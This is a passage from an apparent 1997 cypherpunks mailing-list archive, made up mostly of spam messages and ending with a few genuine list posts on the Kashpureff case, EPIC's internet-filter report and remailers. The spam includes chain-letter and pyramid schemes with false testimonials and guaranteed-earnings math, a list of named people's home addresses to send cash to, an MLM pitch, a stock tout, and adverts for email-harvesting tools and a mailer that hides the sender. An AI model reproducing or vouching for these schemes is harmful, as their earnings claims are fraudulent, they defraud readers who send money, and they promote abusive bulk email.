 way to financial security.  If you are a fellow Christian and are in
financial
 trouble like I was, consider this a sign.  I DID!
                                         Good Luck & God Bless You,
                                         Sincerely, Chris Johnson

 P.S.  Do you have any idea what 11,700 $5 bills ($58,500) looks
 like piled up on the kitchen table?...IT'S AWESOME!

         My name is Frank.  My wife Doris and I live in Bel-Air, MD.
 I am a cost accountant with a major U.S. Corporation and I make
 pretty good money.  When I received the program I grumbled to Doris
 about receiving "junk mail"!  I made fun of the whole thing, spouting
 my knowledge of the population and percentages involved.  I "knew" it
 wouldn't work.  Doris totally ignored my supposed intelligence and
 jumped in with both feet.  I made merciless fun of her, and was ready
 to lay the old "I told you so" on her when the thing didn't work...
 well, the laugh was on me!  Within two weeks she had received over 50
 responses.  Within 45 days she had received over $147,200 in $5 bills!
 I was stunned.  I was sure that I had it all figured and that it
wouldn't 
 work...I AM a believer now.  I have joined Doris in her "little" hobby.
I
did
 have seven more years until retirement,  but I think of the "rat race"
and
 it's not for me...We owe it all to MLM.
                                         Frank T., Bel-Air, MD

 I just want to pass along my best wishes and encouragement to you. 
 Any doubts you have will vanish when your first orders come in.  I even
 checked with the U.S. Post Office to verify that the plan was legal.  
 It definitely is!  IT WORKS!!!
                                         Paul Johnson, Raleigh, NC

 This is the only realistic money-making offer I've ever received.  I 
 participated because this plan truly makes sense. I was surprised
 when the $5.00 bills started filling my mail box. By the time it tapered
 off I had received over 8,000 orders with over $40,000 in cash.  Dozens
 of people have sent warm personal notes too, sharing the news of their
 good fortunes!  It's been WONDERFUL.
                                         Carl Winslow Tulsa, OK

 The main reason for this letter is to convince you that this system is
 honest, lawful, extremely profitable, and is a way to get a large amount
 of money in a short time.  I was approached several times before I
checked
 this out.  I joined just to see what one could expect in return for the
minimal
 effort and money required.  Initially I let no one in the organization
know
 that I was an attorney and, to my astonishment, I received $36,470.00 in
 the first 14 weeks, with money still coming in.
                                 Sincerely yours, Phillip A. Brown

 This plan works like GANG-BUSTERS!! So far I have had 9,735 total orders
 OVER $48,000!!!  I hope I have sparked your own excitement, if you
follow
 the program exactly, you could have the same success I have, if not
better.
 Your success is right around the corner, but you must do a little work.
                                         Good Luck!  G. Bank

         Not being the gambling type, it took me several weeks to make
 up my mind to participate in this plan.  But conservative that I am
 I decided that the initial investment was so little that there was
 just no way that I wouldn't get enough orders to at least get my money
 back.  Boy I was surprised when I found my medium-size post office box
 crammed with orders.  After that it got so over-loaded that I had to
 start picking up my mail at the window.  I'll make more money this
 year than any 10 years of my life before.  The nice thing about this
 deal is that it doesn't matter where in the U.S. the people live.
 There simply isn't a better investment with a faster return.
                                 Mary Rockland, Lansing, MI

         I had received this program before.  I deleted it, but later
 I wondered if I shouldn't have given it a try.  Of course, I had no
 idea who to contact to get another copy, so I had to wait until I
 was e-mailed another program...11 months passed then it came...I
 didn't delete this one!...I made $41,000 on the first try!!
                                         D. Wilburn, Muncie, IN

         This is my third time to participate in this plan.  We have
 quit our jobs, and quite soon we will buy a home on the beach and live
 off the interest on our money.  The only way on earth that this plan
 will work for you is if you do it.  For your sake, and for your family's
 sake don't pass up this golden opportunity.  Remember, when you order
 your four reports, SEND CASH.  Checks have to clear the bank and create
 too many delays.  Good luck and happy spending!
                                         Charles Fairchild, Spokane, WA

         Typically when I look at a money-making deal I want to
 know if the company is strong, will it be here when it's time for
 my big pay off.  In this crazy thing there is no company intervention
 for management to blow it.  Just people like me ordering directly
 from the source!  Interesting...I had a couple of projects I'd been
 trying to fund to no avail so I thought; Why not give it a try?  Well
 2 1/2 weeks later the orders started coming in.  One project is funded
 and I'm sure the other will be soon!
                                         Marilynn St. Claire, Logan, UT

 ====================================================

 We could be printing YOUR testimonial next!!!  

 ORDER YOUR REPORTS TODAY AND GET
 STARTED DOWN THE ROAD TO YOUR
 FINANCIAL FREEDOM!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 38121737@ibm.net
Date: Sun, 9 Nov 1997 22:09:08 -0800 (PST)
To: Friend@public.com
Subject: SUCCESS ON THE NET
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Hello:

I would like to share with you some information that will help you be successful at 
marketing online. If you're not interested then click on the reply button and type REMOVE
in the subject area and send it back to me and I will remove you from my list.

First of all for only $69 you can become an Insider and receive many benefits:

EMAIL PLATINUM SOFTWARE/ONE MILLION EMAIL ADDRESSES/REMOVAL LISTS/
CHECK-BY-FAX, PHONE, EMAIL SOFTWARE/ADVERTISING/FORUMS & CHAT 
TO HELP YOU FIND OUT WHAT OTHER SUCCESSFUL MARKETERS ARE DOING 
AND LOTS OF OTHER SOFTWARE. CHECK OUT THE WEB SITE TO FIND OUT 
MORE!   http://www.insidermall.com    PIN# 1184

Maybe you don't have anything to market or would be interested in other opportunities
to market. Pull my fax-on-demand at 716-720-2103  document #1 for some excellent
opportunities and information on my fax broadcasting services and fax lists. Fax the last
page to 334-297-5905 and I will fax or email you 152 clean MLM fax numbers.

If you were to ask me which opportunity has the greatest income potential I would tell you-
SOLUTIONS FOR TROUBLED TIMES. It is a PC-based system that provides valuable
information on offshore banking/investments, reducing income taxes, and it is also a lead
generating and advertising program. You don't have to worry about some company
giving you the shaft because with SFTT you are in control. It pays on 7 levels and you 
also receive a self-replicating web page. Call the toll-free hotline at 800-935-5171 #3021
and then email or fax me for more information. You may also listen to the weekly
conference call on Tuesdays at 10:30 pm EST by calling 423-362-4350  ext. 4201.

Thanks for reading this and may you have success on the net!

 DON- EMAIL:  nobber@ibm.net      FAX: 334-297-5905




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: toads70@hotmail.com
Date: Thu, 13 Nov 1997 12:36:38 -0800 (PST)
To: Friend@public.com
Subject: IMMEDIATE RELEASE:  El Nino market update
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE>
Learn how to take advantage of the potential effects of El Nino on the agricultural commodities markets!!

El Nino is a weather system forecasted by the National Weather Service to cause weather changes that could affect global agricultural production over the next 9 to 10 months.  El Nino is associated with droughts in the Western Pacific and irregular temperatures and rainfall across North America, South America, Central America and Africa. 

Some weather experts say the 1997/1998 El Nino could be the worst one in 150 years.  The 1982-1983 El Nino was the strongest of the century, spreading drought, floods, and extreme weather conditions across vast stretches of the globe.  Total combined losses to property and agriculture from related weather catastrophes are estimated to have exceeded $10 billion.

If the 1997/1998 El Nino comes close to the effects of the 1982/1983 El Nino there could be many opportunities in the futures and options market.

The price moves of agricultural commodities for the 1982 / 1983 growing season were as follows:

Soybeans  10/82- $5.18/bushel  to  9/83- $9.60/bushel     +85.32%	$22,100 gain per contract
Corn            9/82- $2.12/bushel  to 8/83-  $3.76/bushel     +73.67%	$8,200  gain per contract
Wheat        10/82- $3.00/bushel  to  8/83-  $4.19/bushel     +39.66%	$5,950  gain per contract
Cocoa          7/82-  $1275/ton      to  7/83-  $2450/ton         +92.99%	$11,750 gain per contract
Sugar           9/82-  $5.85/cents/lb  to 5/83- $13.47cents/lb  +104.09%	$8534    gain per contract

Minimum Investment $6000---Please only serious inquiries.

Click Here To Receive Free Information Package






(DISCLAIMER)
Past performance is not necessarily indicative of future results.  You could lose part or all of your investment.  However, when purchasing options, your risk is predetermined to the amount returned to the client.  Options do not move dollar for dollar with the underlying futures contract until expiration date.  No implication is being made that any client has or will obtain such a profit.  This advertisement contains a mathematical example of leverage in the commodity futures





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dapeebjk12@canopous.net.br
Date: Wed, 12 Nov 1997 03:45:18 -0800 (PST)
To: Friend@public.com
Subject: E-Mail Fortune Cookie
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


To:  All humans who love to open fortune cookies, and are tired of icky, unhappy, thoughts clogging the brain cells of humanity!!

From:  Email Fortune Cookie Company....specializing in the manufacture and distribution of insightful, creative, positive wisdom and advice contained in a unique and funny email fortune cookies! 

Positive, funny fortunes are much needed in this sometimes not so happy world!  No political slant...No religious agenda...just pure goodness...pure happiness, officially prepared as an email fortune cookie for YOU!

Are you tired of watching tv... looking at the newspaper...listening to your boss...your friends... all spout off how unhappy they are, about how doomed world is?  Kinda makes you blue doesnt it?

It is time to receive your own, positive email fortune cookie guaranteed to make you laugh, improve your thinking, and improve your life!  

You can receive your own email fortune cookie(EFC) and begin to change your thinking, and thus the thinking of our world.  The specially prepared EFC will speak to the purity and goodness of the human mind, and how well and good life is!  

It is time positive fortunes replace the end of the world idiots who love to hear themselves!! Lets wipe out negativity together and divert the apocolypse..acopolipt...or whatever!!!  hehe....

So, send one juicy dollar bill, <U>along with your email address, to:  

Email Fortune Cookie Company, 
P.O. Box 359, 
Preston, Missouri 65732

and a special, officially prepared "EFC" will be promptly delivered to your email address!

Why send one dollar?  Well, listen to this: money is a symbol of the life energy we extend to the universe.... I am sending you positive energy... and to prosper at the same time is the essence of living.  

Sincerely:

EMAIL FORTUNE COOKIE COMPANY

Disclaimer:  Your address was recently purchased from a mail list company as a person who is interested in business opportunities.  If  this is not correct and you would like to be removed off our master list, please e-mail removenow@rocketmail.com or call (800) 420-7252 and your address will be removed immediately.  Thank you for your patience.  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mail2.mihorse.com@idirect.com
Date: Thu, 13 Nov 1997 02:53:27 -0800 (PST)
To: Friend@public.com
Subject: Prepaid phone cards and callback
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


We thought that you should hear about this only if you make long distance phone calls.

One of the leading phone card companies in the U.S. Warsun International Communications Corporation is offering the lowest International phone card rates.   Call from your home, office,  cellular,   or a pay phone by dialing a toll free number to any where in the world.   For more information please call customer service at 1800-4 warsun, or visit our web site

http://www.warsun.com

Any where in the U.S. Alaska, Hawai, $0.18c.   We offer rechargeable phone cards, you dont need to carry any other phone card.  For overseas customers we offer impressive callback rate.     Again for more information please access our site

at    http://www.warsun.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hamr@great-mail.com
Date: Thu, 13 Nov 1997 14:49:26 -0800 (PST)
To: group@heliocomp.net
Subject: Advertisement: DON'T BUY TARGET E-MAIL LISTS!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


We have many great products and programs, which benefit the Internet
Marketer. If we have reached you in error and you don't wish to receive
future mail from us, double click the reply to address and type remove as the subject.  
Your address will be removed immediately!!


________________Don't Buy Target Email Lists!!________________

Create your own target lists with, with the same tools the professionals use!!

GEOLISTtm Version 1.0 Beta 3     Geographical Email Address Collector   
GeoList 1.0 lets you create geographically targeted email address lists without knowing a thing
about URLS or HTML. With this powerful new collector, target any city, in any state! then click extract!
GeoList will start gathering addresses automatically!! Watch as the list of e-mail addresses appears!

This is the same program the professionals use to gather and sell their own target lists!!

Build an entire Nation wide marketing campaign by state, or specific city.
GeoList will make it easier than ever, with its powerful multithreaded program.

Download the demo and try it! Once you see GeoList in action, you will buy it!
You can purchase GeoList  and within 30 to 60 seconds after purchase have a registered 
FUNCTIONAL program!!  
We have a user friendly "SUPER FAST" secure order-processing system!!!

To download the free demo send e-mail to   hamr@great-mail.com   Geolist Demo as subject


 DejaVuTM   Version 1.0     Collect Address from the History of the NewsGroups! 

Introducing a completely new target oriented email collection software linked directly to Deja News. 
Use DejaVu to automate your collection from Deja News, a complete historical archive of anyone who 
ever posted to a newsgroup!  30 to 60 seconds and you are a registered user!!
Millions of Newsgroup Articles to search!
You can choose to search through recent (last two months) articles, or articles dating back to 1995. 
 Simply enter a keyword to search with and press go!
To download the free demo send e-mail to hamr@great-mail.com    DejaVu Demo as subject

 SonicTM  Version 1.0 build 6     Multi-Tasking Email Address Collector     

The Sonic is an all-in-one, Web collection tool, that includes TargetSmart(r) Technology, 30 Second 
Registration, and Multiple SearchToggle. Let us again say, the added benefit behind Multi-threading,
a process which lets you capture and extract your targeted search results at staggering speeds.
Sonic is... Multi-Threaded 
       Enter a keyword and Sonic will search the Internet!!
       Ability to search multiple sites simultaneously. 
       Search any one of 9 different search engines, or search them ALL simultaneously!

To download the free demo send e-mail to hamr@great-mail.com Sonic Demo as subject

Looking for Mailers? Download, NetContact, Stealth, Mach10  
Send e-mail to hamr@great-mail.com     Mailer demos as subject.

When you purchase our software you receive at no additional cost;
1. Mr. Clean e-mail filter. Process 100,000 address files through 32 filters in 36 seconds!!
2. Our CD of 28 million addresses, updated as of 11/7/97. The best list available.

All software is sold with tech support. We will take the time to walk you through the process
step by step.
               





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: news@phonemenow.com
Date: Tue, 18 Nov 1997 05:10:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: A phone jack for your web site
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Dear cypherpunks@toad.com,

Announcing a new service for web pages from PhoneMeNow.  PhoneMeNow service provides 
your web site with instant connections to the public telephone network.  

Instantly connect your sales, customer service or other departments to browsers of 
your web site with the simple click of a button on your web site through
the public telephone network with PhoneMeNow service.

PhoneMeNow also offers virtual office, fax and find me services.

Visit our web site at www.phonemenow.com for further information about our
exciting new service designed to connect your web site to your customers. 

You may try out our service for FREE by visiting http://www.phonemenow.com.

http://www.phonemenow.com
news@phonemenow.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gls.mix.dom4@aol
Date: Thu, 20 Nov 1997 22:55:56 -0800 (PST)
To: Friend@public.com
Subject: 29 Million Fresh E-Mail Addresses for only $35 !!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


         29 MILLION EMAIL  ADDRESSES VIA E-MAIL FOR ONLY $35

          Yes, we have 29 Million  FRESH email addresses that we will sell for only
$35. They are all sorted and ready to be mailed.  That is the best deal anywhere
today ! Imagine selling a product for only $5 and getting  only a 1/10% response.
That's  $1,450,000  in your pocket !!! Don't believe it?
          These 29 Million email addresses are yours to keep, so you can use them
over and over. We also include the stealth mailer - this is a full version of the
incredibly fast mailing program that hides your email address when you send
mail so no one will find out where it came from and you won't lose your dial up
account. The stealth mailer  is an incredible program and absolutly FREE
with your order !


Print this E-Mail, fill the order form.
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                                ORDER FORM


Enclosed is my payment of  $35.00    ____Check    ____Money order

Name______________________  Address_______________________

______________________________State____ Zip Code___________


E-Mail address_____________________/_______________________
                                         Please print twice


               * Make Check/Money order payable, and mail the form to:

                                       M.I.R. CONSULTING, INC.

                        4334 MATILIJA AVENUE, STE 215, DEPT. 27
                                       SHERMAN OAKS, CA 91423 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cc@4planetsolutions.com
Date: Tue, 25 Nov 1997 14:10:53 -0800 (PST)
To: Friend@public.com
Subject: 6 Minutes Please
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain




I know you are busy, but this is important, Can You Spare 6 Minutes?

For years, we have heard about environmental problems facing the planet.

We talk about saving the rivers, the ocean, the whales, the rain forests and the ozone.

They are all important.

But, candidly, they seem far away... beyond our personal control.

Recently I was surprised to learn of the worst environmental hazard 
in my life.  It was a serious threat to me and my family.

It was not far away.  It was in my home!

Fortunately, I am able to fix it, so can you!
 
I solved an insidious health threat to my family. 

If your home is typical, you may have the same problem.

The good news is that you can easily fix it, while saving money!

Please visit our web site about this major problem and its' solution,

http://www.4planetsolutions.com/cc/

Thank you for your time, to prevent receiving mail from 
our service, please click on this link,
mailto:cc@4planetsolutions.com?subject=remove
and hit send or reply with remove in the the subject. Thank You.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: extrainc@opus.org
Date: Wed, 26 Nov 1997 13:56:15 -0800 (PST)
To: Friend@public.com
Subject: 29 Million Fresh E-Mail Addresses for only $35 !!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


         29 MILLION EMAIL  ADDRESSES VIA E-MAIL FOR ONLY $35

          Yes, we have 29 Million  FRESH email addresses that we will sell for only
$35. They are all sorted and ready to be mailed.  That is the best deal anywhere
today ! Imagine selling a product for only $5 and getting  only a 1/10% response.
That's  $1,450,000  in your pocket !!! Don't believe it?
          These 29 Million email addresses are yours to keep, so you can use them
over and over. We also include the stealth mailer - this is a full version of the
incredibly fast mailing program that hides your email address when you send
mail so no one will find out where it came from and you won't lose your dial up
account. The stealth mailer  is an incredible program and absolutly FREE
with your order !


Print this E-Mail, fill the order form.
 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                                ORDER FORM


Enclosed is my payment of  $35.00    ____Check    ____Money order

Name______________________  Address_______________________

______________________________State____ Zip Code___________


E-Mail address_____________________/_______________________
                                         Please print twice


               * Make Check/Money order payable, and mail the form to:

                                       M.I.R. CONSULTING, INC.

                        4334 MATILIJA AVENUE, STE 215, DEPT. 27
                                       SHERMAN OAKS, CA 91423 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Friendly29817@only.com
Date: Wed, 26 Nov 1997 20:47:36 -0800 (PST)
To: Friend@public.com
Subject: THIS IS ONLY FOR PEOPLE WHO NEEDS MONEY RIGHT NOW!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


DEAR FRIEND:

My name is Dick Hollman. In September 1991 my car was repossessed, and
bill collectors were hounding me like you wouldn't believe. I was laid off from
work and my unemployment insurance ran out. In October '91, I received a
letter telling me how to earn $800,000 anytime I wanted to! Of course I was
skeptical, but because I was so desperate, and had virtually nothing to lose, I
gave it a try. In January '92, my family and I went on a 10 day CRUISE! In
February I bought a new Cadillac with Cash! Today I'm well to do and I am
currently building a second home in Virginia and will NEVER HAVE TO WORK
AGAIN !!!

This program works perfectly. I have never failed to make $800,000 in each
mailing. This is a legitimate business opportunity; a perfectly legal money making
program. It does not require you to sell anything, or come in personal contact
with people. Best of all, the only time you have to leave home is to mail the
letters, and you can do that on the way to the grocery store!

BE HONEST, HAVEN'T YOU "BLOWN" MONEY IN RESTURANTS OR ON
ITEMS THAT GIVE ONLY TEMPORARY PLEASURE? FOLLOW THESE
INSTRUCTIONS BELOW AND YOUR DREAMS WILL COME TRUE!!!

FOLLOW THESE INSTRUCTIONS EXACTLY AND IN 20 TO 90 DAYS YOU
WILL RECEIVE OVER $800,000.
                                                                GUARANTEED!!!

1. IMMEDIATELY SEND $1 (CASH, CHECK OR MONEY ORDER) TO EACH
    OF THE NAMES LISTED BELOW. WRAP THE DOLLAR BILL IN A NOTE
    SAYING "PLEASE ADD MY NAME TO YOUR MAILING LIST." THIS IS A
    LEGITIMATE SERVICE FOR WHICH YOU ARE PAYING $1.

2. REMOVE THE NAME AT THE TOP OF THE LIST AND MOVE THE OTHER
    FIVE UP ONE SO THAT #2 BECOMES #1 AND SO ON. PUT YOUR NAME
    ON AS #6.

3. E-MAIL NEW LIST TO PEOPLE WHO HAVE SENT YOU THEIR PROGRAMS
    OR  PROGRAMS YOU FIND IN THE NEWS GROUPS.
       
      I spent about 15 minutes last night looking in the news groups and came
up with more than enough names. You are not limited to 20 by any means -
the more you send, the more gifts you will receive. Each time someone emails
you their program, send them a copy of this to keep the cash coming in.

4. WITHIN 90 DAYS YOU SHOULD RECEIVE YOUR $800,000 ! KEEP A
    COPY OF THIS LETTER SO YOU CAN USE IT AGAIN WHEN YOU
    NEED MONEY. 

JUST DO IT!!!



1. Ophelia Harris, 228 Morrow Rd, Apt 18-D, Forest Park, GA 30297

2. L. S. Owensby, PO Box 871249, Stone Mountain, GA 30087-1249 

3. C. L. Hollis, PO Box 4, Hogh Rolls, NM 88325-0004

4. Julian M. Repta, 3539 S. Wolcott, Chicago, IL 60609

5. D. Lee, 3020 Longleaf Lane, Augusta, GA 30906

6. I. Ahkinazi, 4334 Matilija Ave, # 215, Sherman Oaks, CA 91423


HERE COMES THE INTERESTING PART.

AT A COSERVATIVE RATE OF RESPONSE. ASSUME FOR EXAMPLE
YOU GET A 7.5% RETURN RATE. MY FIRST ATTEMPT WAS ABOUT
9.5% AND MY SECOND WAS 11%

1. When sending out 200 letters, 15 people will send you $1.00
2. These 15 send out 200 letters each and 225 people send you $1.00
3. Those 225 send out 200 letters each and 3,375 people send you $1.00
4. Those 3, 375 send out 200 letters each and 50,625 people send you $1.00
5. Those 50, 625 people send out 200 letters each and 759,375 people send
    you $1.00


At this point your name is dropped off the list, but so far you have received
$813, 615!!! It works every time, but how well depends on how many letters
you send out. In the above example you send 200 letters out. I guarantee it's
correct. With this kind of return you've got to try it. Try it once and you'll try
it again!


NOT ENOUGH? WHAT ARE YOU WAITING FOR ??? MAIL! MAIL! MAIL!!!

PLAY IT SMART IN HANDLING YOUR MONEY, ESPECIALLY IF YOU
NEVER HAD SO MUCH MONEY IN YOUR POSSESSION.

KEEP WHAT YOU ARE DOING TO YOURSELF FOR A WHILE. MANY WILL
TELL YOU, IT WON'T WORK AND TRY TO TALK YOU OUT OF YOUR
DREAMS. AFTER IT WORKS LET THEM KNOW OF YOUR SUCCESS!!!

YOU HAVE NOW COMPILED A VERY EXTENSIVE MAILING LIST FIRM,
OR... MAY START YOUR OWN.

J. Hollman says, "I am naturally skeptical and I had received at least 35 letters
similar to this one in a six month period. However, there was something about
this one I liked. IT TAKES LESS INVESTMENT than others, and ALL
PARTICIPANTS receive money, not just the one! Anyway, I sent out 250
letters and hoped for the best. Nothing happened for 11 days, but on the
12th day I received $909.00! Over the next four and one-half months I
received over $800,000 cash in the mail. I'm doing it again with 1000 letters!!!"

S. Friseh - "I wanted to try a similar program in which it cost me $5 for 5 names,
plus much more expenses of which, at the time, I didn't have enough capital to
invest. The first time I sent this letter, I got my first response in one week! After
a short period of time, I got well over $800,000!!! AND NOW I'M TRYING IT
AGAIN!!! GOOD LUCK TO ALL OF YOU!!!  IT REALLY WORKS!!!"

G. Daniels - "When I got this letter I said "yeah sure" and pitched it! Then I
remembered that skepticism breeds failure, while beliefs lead to success! So
I rescued the letter, typed a fresh mailing list and sent it out. Thank Heaven I
did!"

You can get better too!!! Once you make money, what will you do if someone
sends you this letter again? Remember how nature works! WHAT GOES
AROUND COMES AROUND! DO IT AGAIN AND KEEP THE ABUNDANCE
FLOWING FOR EVERYONE!!!         









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 37663040@sprintmail.com
Date: Fri, 28 Nov 1997 03:45:13 -0800 (PST)
To: InternetUser@The.Net
Subject: Hot Stocks - Double your Money Before Christmas!!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


Visit http://www.jtsr.com or call 888-295-6365 For Complete Information.
Who said opportunity only knocks once.
JT's Restaurant is about to be one of the fastest growing Restaurant
chains. Under valued stock situations presently $1.50 per share.
Analysts predict stock to go as high as $4.00 by year's end and could go
up to $10.00 by 1998. Stock symbol JTSR on NASDAQ
If you had invested just $100.00 in 1955 in Mcdonalds, it would be worth
over $100 million today.$1000 would be worth  over $1billion
Here is another opportunity for you. Visit us at http://www.jtsr.com or
call 1-888-295-6365







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: M0Rtgman@hotmail.com
Date: Sun, 30 Nov 1997 18:53:32 -0800 (PST)
To: a0001233@aol.com
Subject: Greetings
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


                       Make $300.00  per Day
                          NO MONEY REQUIRED
                        TO GET INTO BUSINESS
                     UP to $24,000.00 Line of Credit

1.  There are NO UPFRONT COSTS.  You will be in business with virtually
no money out of pocket. All you do is complete the distributor's application along with our financing agreement.  Everybody is approved regardless of  Credit.  You will obtain a credit line of up to $24,000 to start your own business.

2.  You as the distributor receive a commission of up to $1,000 - once
someone is approved and financed to become a distributor.  The company
pays commission twice a month.  The commission is paid even before the
buyer makes their first payment.
And this is important.  There are never any charge backs!
 
3.  You, as the distributor can sign up others distributors and receive
bonuses of $400.00 to $800.00 per sale from distributors under you.  The
marketing plan offers a very attractive bonus plan.  By signing up 1 new
distributor, who does the same within a month, and this pattern 
continues with each new person only bringing 1 new distributor, there 
would be more than 4,000 distributors in your organization at the end of 
a year.  Keep in mind that you only brought in 1 person each month.  
If each person in your organization sold only one system per month, your 
income would be more than $,$$$,000 the first year!  What if your 
organization only did 1/3 of that?  Would you be excited?

4.  Your market is virtually unlimited. - in fact,  there is no 
competition at this time.

5.  No Accounting.  The company keeps track of everything for you and
gives access to your account on-line using your personal computer.  
Track orders, shipping, commissions due, etc...
 
6.  The Need.  Virtually EVERYONE has had or will have some type pain.
Back Pain?  Migraines?  Arthritis?   PMS? You name it!!  Everyone needs
this product.

7.  The Company. has spent years  developing this state of this product.
This is a one of a kind company  - no huge investments - no money up
from the buyer and there is NO Competition for this type of product.
 
8.  The Opportunity.  What a great feeling!  We help people feel better and that can do so much for a family's peace of mind.  And whether you 
would like to make an extra $1,000.00 a month or have visions of grandeur, this program can satisfy your needs.  The financial bottom line...  There will be many millionaires made in the next few years.

9.  It only cost $0.00 to become a distributor(includes your inventory) 
and for that you receive  everything you need to get started;  forms, full color brochures, and a video tape telling you about the company, its product and marketing plan.

                      Then Call me!!!
                     1-888-220-9850
             I will get you in business today
              with no money out of your pocket!!

                      IMPORTANT!!!
        Be sure to include your  Name,  Phone Number
          and Fax Number Immediate Response!

 
 Send email to magnets@pemail.net  to be remove from our list





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Mon, 1 Dec 1997 16:10:40 +0800
To: cypherpunks@cyberpass.net
Subject: Kashpureff stuff online
Message-ID: <3.0.2.32.19971201000503.0069ca58@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain




CBC has put together a short (7 mins or so) news piece on the
Kashpureff/Alternic situation - it's available via RealVideo (which seems
to run reasonably over my 28.8 modem at home) at
<http://www.tv.cbc.ca/undercurrents/tv/week09/fugitive.ram>.

They've also made an image of his US arrest warrant and the criminal
complaint filed in the US district court (ED NY, 97-1343M) available at
<http://www.tv.cbc.ca/undercurrents/stories/internic/warrant.html>.

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Mon, 1 Dec 1997 13:23:48 +0800
To: cypherpunks@toad.com
Subject: "Faulty Filters" report; anti-rating free speech alliance
Message-ID: <v03007806b0a7f42e9fab@[204.254.22.168]>
MIME-Version: 1.0
Content-Type: text/plain



[From December 1 EPIC Alert --Declan]


=======================================================================
[2] EPIC Report Slams Internet Content Filters
=======================================================================

EPIC today released a report that finds that "family-friendly" search
engines typically block access to 99 percent of the material on the
Internet that would be appropriate for young people.  The report was
released just prior to a White House summit that will examine the use of
content filters and rating systems for the Internet.

EPIC's study was based on a side-by-side comparison of an unfiltered
Internet search engine (AtltaVista) with a filtered search engine.
According to Net Shepherd, Inc., its Family Search retrieval service
screens out material that is "inappropriate and/or objectionable for
average user families."  EPIC tested both search engines using such
search phrases as the "American Red Cross," the "National Aquarium," and
"Thomas Edison."  The study found that the filtered search engine
typically blocked access to 99 percent of the documents containing those
phrases when compared with results returned by AltaVista.

The EPIC report, "Faulty Filters," includes a survey of 100 search
phrases in four categories -- schools; charitable and political
organizations; educational and artistic groups; and concepts that might
be of interest to young people.

Marc Rotenberg, Director of EPIC, said, "We found that as information on
popular topics became more widely available on the Internet, the
filtered search engine was likely to block an even higher percentage.
We further found that the search engine did not seem to restrict
sensitive topics for young people any more than it restricted matters of
general interest.  Even with the very severe blocking criteria employed,
we noted that some material which parents might consider to be
objectionable was still provided by the software."

The report was released at a press conference held at the National Press
Club.  EPIC said that it was joining with several other organizations to
establish the Internet Free Expression Alliance (IFEA) to address the
free speech implications of Internet rating and filtering proposals (see
item below).

The text of the "Faulty Filters" Report is available at:

     http://www2.epic.org/reports/filter_report.html

=======================================================================
[2] Groups Establish Internet Free Expression Alliance
=======================================================================

EPIC today announced that it is joining with 20 other organizations to
establish the Internet Free Expression Alliance (IFEA).  The new
coalition will address the free speech implications of Internet rating
and filtering proposals and promote the open exchange of information on
the Internet.

The formation of IFEA comes one day before the opening of an
Administration-sponsored summit on Internet issues.  President Clinton
is on record as supporting the widespread use of content ratings and
filtering techniques to create a "family-friendly Internet."  At an
earlier summit meeting last July, the President said that it "must be
our objective" to ensure that the labeling of Internet content "will
become standard practice."

As detailed in the report EPIC released today, such rating and filtering
systems can block access to a vast amount of valuable information;
according to the EPIC report, 99 percent of all online material is
typically filtered out by a new "family-friendly" Internet search
engine. In a statement released at IFEA's inaugural press conference at
the National Press Club, EPIC Legal Counsel David Sobel said, "It is
troubling that the White House has so readily embraced an approach that
has the potential to destroy the Internet as an educational resource."

EPIC was a plaintiff in the historic ACLU v. Reno litigation, which led
to last summer's landmark Supreme Court decision striking down the
Communications Decency Act (CDA).  Many other organizations that joined
the CDA challenge are involved in the creation of IFEA.  Alliance
members include the American Civil Liberties Union, American Society of
Newspaper Editors, Computer Professionals for Social Responsibility, the
Electronic Frontier Foundation, the National Coalition Against
Censorship, the National Writers Union and the Society of Professional
Journalists.

For information on IFEA can be found at:

     http://www.ifea.net


[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Mon, 1 Dec 1997 13:26:41 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: Pasting in From:
In-Reply-To: <Pine.LNX.3.94.971130135656.6085F-100000@neptune.chem.uga.edu>
Message-ID: <3.0.3.32.19971201001413.03a6d40c@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



It seems to me that the purpose of a remailer is to strip the headers,
including the FROM header, not to put in fake headers.  Until someone can
explain it to me, I'd consider the idea of adding a FROM header to
